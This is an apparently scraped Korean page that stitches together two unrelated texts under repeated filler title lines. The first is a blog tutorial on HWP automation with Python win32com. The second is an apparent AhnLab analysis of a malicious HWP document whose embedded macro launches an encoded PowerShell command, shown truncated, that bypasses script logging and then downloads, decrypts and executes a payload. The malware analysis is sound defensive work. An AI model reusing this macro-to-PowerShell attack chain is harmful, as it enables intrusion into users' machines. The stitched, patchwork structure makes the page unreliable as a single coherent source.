한글 스크립트 코드 - hangeul seukeulibteu kodeu

안녕하세요?

회사원코딩의 신명진입니다. 이번 포스팅은,

스크립트매크로와 API매뉴얼 코드의 차이에 대해서 한 번 보여드리려고 합니다.

어떤 간단한 예제를 들어볼까 하다가,

쪽번호 감추기를 골라보았습니다.

아래는 스크립트매크로 녹화(Shift-Alt-H)를 이용한 "쪽번호 감추기" 기능입니다.

function OnScriptMacro_script5()
{
	HAction.GetDefault("PageHiding", HParameterSet.HPageHiding.HSet);
	with (HParameterSet.HPageHiding)
	{
		Fields = Hiding("PageNumPos");
	}
	HAction.Execute("PageHiding", HParameterSet.HPageHiding.HSet);
}

 코드가 길지는 않네요. 어떤 기능을 하는지는 바로(까지는 아니더라도) 이해하실 수 있겠죠?

그리고 아래는 스크립트매크로를 파이썬 문법에 맞게 옮긴 코드입니다.

import win32com.client as win32  # win32com 모듈 임포트
hwp = win32.gencache.EnsureDispatch("HWPFrame.HwpObject")  # 한/글 열기
hwp.XHwpWindows.Item(0).Visible = True  # 숨김해제

hwp.HAction.GetDefault("PageHiding", hwp.HParameterSet.HPageHiding.HSet)  # 메서드 초기화
hwp.HParameterSet.HPageHiding.Fields = hwp.Hiding("PageNumPos")  # 인자값 입력 (==32)
hwp.HAction.Execute("PageHiding", hwp.HParameterSet.HPageHiding.HSet)  # 메서드 실행

이전 예제와 같이, 임포트 구문과 인스턴스명인 hwp가 각 구문 앞에 붙은 것 말고는 큰 차이가 없습니다.

그리고 아래 코드는 API 매뉴얼과 파라미터셋을 참고해서 작성한 코드입니다.

위의 코드와 한 번 비교해 보세요.

# import win32com.client as win32  # 모듈 임포트
# hwp = win32.gencache.EnsureDispatch("HWPFrame.HwpObject")  # 한/글 실행
# hwp.XHwpWindows.Item(0).Visible = True  # 숨김해제

act = hwp.CreateAction("PageHiding")  # 메서드 초기화
set = act.CreateSet()  # 파라미터셋 생성
set.SetItem("Fields", 32)  # 인자값 입력.  32 == hwp.Hiding("PageNumPos")
act.Execute(set)  # 메서드 실행

맥락은 비슷한 것 같은데, 완전히 다른 문법처럼 보입니다.

그래도 훨씬 더 간결하지 않나요? 그리고 간결한 게 전부가 아니에요.

API메서드의 강력한 장점이 하나 더 있어요!

그건 바로, 현재 설정되어 있는 값을 알아낼 수 있다는 겁니다.

현재 페이지에 "쪽번호감추기"가 설정되어 있는지 확인하는 방법은

act = hwp.CreateAction("PageHiding")
set = act.CreateSet()
act.GetDefault(set)  # GetDefault를 통해 현재 설정값을 set에 입력
print(set.Item("Fields"))
# 32를 리턴 == "쪽번호 감추기가 적용되어 있는 상태"



######### 스크립트매크로 코드로는 현재 설정값을 알 수 없음 ###########
hwp.HAction.GetDefault("PageHiding", hwp.HParameterSet.HPageHiding.HSet)
print(hwp.HParameterSet.HPageHiding.Fields)
# 항상 0을 리턴

이 방법으로 현재 문서, 혹은 현재 구역이나 개체의 다양한 설정값들을 확인할 수 있어요.

예를 들어 페이지 방향이나 여백, 표나 이미지 등 다양한 개체의 사이즈나 설정값 등이 필요하면

관련된 액션의 이름(위의 "PageHiding")과 아이템의 이름(위의 "Fields")만 알면 되니까요.

(사실 이게 전부는 아니에요. set 안에 ItemSet 배열을 생성해야 하는 경우라든지 하는 경우도 있는데... 어렵지 않아요.)

오늘은 여기까지만 포스팅 하려고 해요. 마치기 전에...

여기까지 정독을 하셨다면 이런 질문을 해 보실 수 있어요.

'PageHiding이나 Fields 같은 문자열은 어디서 찾는 거지?'

나중에 별도의 포스팅으로 자세히 한 번 더 설명드릴게요.

간단히 말씀드리면,

이 때 사용하는 문서가 Action Table.hwp 와 ParameterSet Table.hwp 두 개의 파일이에요.

한글 스크립트 코드 - hangeul seukeulibteu kodeu
한글2010 컨트롤API 가이드 문서3종

- PageHiding 같은 문자열을 "Action ID"라고 부르고 Action Table.hwp에서 찾을 수 있어요. 이 액션과 매칭되는 ParameterSet ID도 같이 적혀 있어요. 이 액션아이디는 파라미터셋 아이디도 동일한 "PageHiding"을 쓰네요.

한글 스크립트 코드 - hangeul seukeulibteu kodeu
Action Table.hwp 23쪽 중간

- Fields 같은 문자열은 "Item ID"라고 불러요. 위의 Action Table에서 찾은 ParameterSet ID인 "PageHiding"으로 ParameterSet Table.hwp에서 검색해보면 Item ID가 "Fields" 한 개 밖에 없네요. 사용법은 Description에 나와 있고요.

한글 스크립트 코드 - hangeul seukeulibteu kodeu
ParameterSet Table.hwp 99쪽
덧 : 비트필드(16진수)는 두 개 이상 적용하려면 더하면 돼요. 머리말, 꼬리말과 쪽번호를 함께 숨기려면 Fields에 35(=1+2+32)

어떤가요?

스크립트매크로 녹화와 API매뉴얼을 조금만 참고하면

어떤 작업이든 자동화 해 볼만 하지 않겠어요?

문의사항이나, 도전해 보고 싶은 자동화 주제가 있다면

언제든 댓글로 남겨주시면 도움 드리고 싶어요.

오늘은 여기서 포스팅 마칩니다.

행복한 하루, 편안한 밤 되세요!

안랩 분석팀은 11월 16일(금) 악성 매크로 스크립트를 포함하고 있는 신규 한글 HWP 파일을 수집하였다. 최근 지속해서 발견되고 있는 악성 한글 파일이 EPS를 이용하고 있는 상황에서, 이번 한글 파일은 매크로 스크립트 방식을 다시 이용 하였다는 점이 독특하다. 매크로 스크립트를 포함한 악성 한글 파일은 2007~2008년에 유행하였다가 2015년에 다시 발견되는 등 비정기적으로 수집되고 있는데, 향후 이와 같은 방식의 한글 파일이 다시 많아질지 주목할 필요가 있다.

[문서 정보]

– 생성 날짜: 2018년 11월 8일 목요일 오전 12:21:49

– 작성자: st454

제작자는 한글 문서를 실행했을 때 악성 스크립트가 바로 실행되도록 OnDocument_Open( ) 부분에 자바스크립트(JavaScript) 코드를 삽입하였다. 한글 프로그램에서도 해당 스크립트 코드를 볼 수 있는데, 이는 파일 구조상 Scripts 스토리지의 DefaultJScript 스트림에 위치한다. 이 파일은 zlib 으로 압축되어 있으며 압축 해제 시 코드를 확인할 수 있다.

한글 스크립트 코드 - hangeul seukeulibteu kodeu
악성 한글 문서 본문 내용

한글 스크립트 코드 - hangeul seukeulibteu kodeu
한글 프로그램에서 편집할 수 있는 매크로 코드

한글 스크립트 코드 - hangeul seukeulibteu kodeu
파일 내 매크로 코드 바이너리 (좌: 바이너리 스트림 / 우: 압축 해제 후)

매크로 스크립트가 실행되면 파워쉘(powershell) 프로세스가 실행되는데, 인코딩된 Base64 커맨드를 통해 수행하고자 하는 악성 행위를 전달한다. 아래 화면은 실행되는 파워쉘 명령으로 다음과 같은 4가지 기능을 수행하도록 하였다. 

Command line: powershell.exe -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBFAFIAcwBJAG8AbgBUA…. (생략)

한글 스크립트 코드 - hangeul seukeulibteu kodeu

[파워쉘 커맨드의 악성 행위]

  • Powershell ScriptBlock Logging 기능 OFF
  • Proxy 설정하여 웹 접속
  • 지정된 User-Agent 와 세션 쿠키 정보를 포함하여 특정 주소 (http://내부주소/login/process.php) 에 접속 
  • 접속 후 받은 파일을 복호화한 후 IEX (Invoke Expression) 실행

그룹 정책으로 관리되는 파워쉘 커맨드의 스크립트의 로깅을 우회하고 최종 페이로드를 수행하기 위한 목적으로, 이미 비슷한 코드가 ScriptBlock Logging Bypass 등의 이름으로 GitHub 등에 공개되어 있다. 2018년 2월 평창올림픽을 대상으로 한 공격에 사용된 악성코드 중에서도 이와 같은 파워쉘 코드가 존재하였다. 다만 이번에 수집된 한글 파일은 실행되는 파워쉘 커맨드가 접속하는 웹 주소가 로컬 IP이고 문서 내용이 ‘ㅁㅁㅁ’ 에 그치는 점을 미루어 보았을 때 테스트 목적으로 제작하였을 가능성이 높다. 

안랩에서는 악성 매크로 스크립트를 포함하고 있는 한글파일을 다음과 같이 진단하고 있다. 

– SHA2: 645f9c9cf41aefa864f89593acee46c0b32117867585090298fbbac2d7f17d23

– V3 진단: Dropper/Exploit-HWP (2018.11.17.00)

또한 한글 프로그램에서는 매크로 스크립트를 포함하고 있는 문서 파일을 실행하였을 때 기본적으로 스크립트를 바로 실행하지 않고 [도구-매크로-스크립트 매크로 보안 설정] 에 따라 실행 확인 절차를 포함하고 있다. 사용자는 의심스러운 한글 문서 파일일 경우 다음과 같은 메시지 창이 떴을 때 이를 실행하지 않아야 한다.

한글 스크립트 코드 - hangeul seukeulibteu kodeu
한글 프로그램의 스크립트 실행 확인